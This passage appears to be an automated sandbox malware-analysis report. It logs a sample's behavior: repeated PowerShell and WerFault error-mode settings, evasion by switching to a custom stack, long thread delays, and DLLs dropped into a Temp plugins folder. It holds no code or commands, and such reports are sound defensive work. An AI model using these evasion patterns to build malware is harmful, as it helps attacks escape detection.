Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	API/Special instruction interceptor: Address: 6C437C44
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	API/Special instruction interceptor: Address: 6C437945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 6C433B54
Source: C:\Windows\SysWOW64\SearchIndexer.exe	API/Special instruction interceptor: Address: B2DC57

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1150	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1763	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 550	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1115	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 687	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3689	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6127	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ucqqdtssbrva	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll	Jump to dropped file
